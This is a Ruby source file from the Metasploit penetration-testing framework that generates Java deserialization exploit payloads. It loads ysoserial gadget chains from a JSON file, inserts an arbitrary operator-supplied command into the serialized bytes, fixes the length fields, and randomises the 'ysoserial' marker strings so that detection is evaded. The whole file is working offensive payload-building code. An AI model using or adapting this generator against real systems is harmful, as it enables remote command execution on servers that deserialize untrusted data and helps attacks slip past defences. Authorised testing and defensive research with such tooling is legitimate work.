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# -*- coding: binary -*-
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module Msf
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module Util
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require 'json'
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class JavaDeserialization
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  PAYLOAD_FILENAME = "ysoserial_payloads.json"
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  def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')
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    payloads_json = load_ysoserial_data(modified_type)
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    # Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
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    payload = payloads_json[payload_name]
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    raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if payload.nil?
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    # Based on the status, we'll raise an exception, return a static payload, or
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    # generate a dynamic payload with modifications at the specified offsets
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    case payload['status']
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    when 'unsupported'
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      # This exception will occur most commonly with complex payloads that require more than a string
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      raise ArgumentError, 'ysoserial payload is unsupported'
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    when 'static'
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      # TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
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      return Rex::Text.decode_base64(payload['bytes'])
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    when 'dynamic'
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      raise ArgumentError, 'missing command parameter' if command.nil?
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      bytes = Rex::Text.decode_base64(payload['bytes'])
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      # Insert buffer
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      buffer_offset  = payload['bufferOffset'].first   #TODO: Do we ever need to support multiple buffers?
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      bytes[buffer_offset - 1] += command
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      # Overwrite length (multiple times, if necessary)
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      length_offsets = payload['lengthOffset']
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      length_offsets.each do |length_offset|
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        # Extract length as a 16-bit unsigned int, then add the length of the command string
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        length  = bytes[(length_offset-1)..length_offset].unpack('n').first
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        length += command.length.ord
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        length  = [length].pack("n")
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        bytes[(length_offset-1)..length_offset] = length
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      end
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      # Replace "ysoserial\/Pwner" timestamp and "ysoserial" string with randomness for evasion
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      bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))
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      bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))
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      return bytes
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    else
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      raise RuntimeError, 'Malformed JSON file'
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    end
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  end
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  def self.ysoserial_payload_names(modified_type: 'none')
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    payloads_json = load_ysoserial_data(modified_type)
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    payloads_json.keys
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  end
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  class << self
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    private
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    def load_ysoserial_data(modified_type)
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      # Open the JSON file and parse it
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      path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
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      begin
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        json = JSON.parse(File.read(path, mode: 'rb'))
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      rescue Errno::ENOENT, JSON::ParserError
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        raise RuntimeError, "Unable to load JSON data from: #{path}"
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      end
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      # Extract the specified payload type (including cmd, bash, powershell, none)
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      payloads_json = json[modified_type.to_s]
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      if payloads_json.nil?
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        raise ArgumentError, "#{modified_type} type not found in ysoserial payloads"
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      end
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      payloads_json
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    end
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  end
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end # JavaDeserialization
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end # Util
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end # Msf
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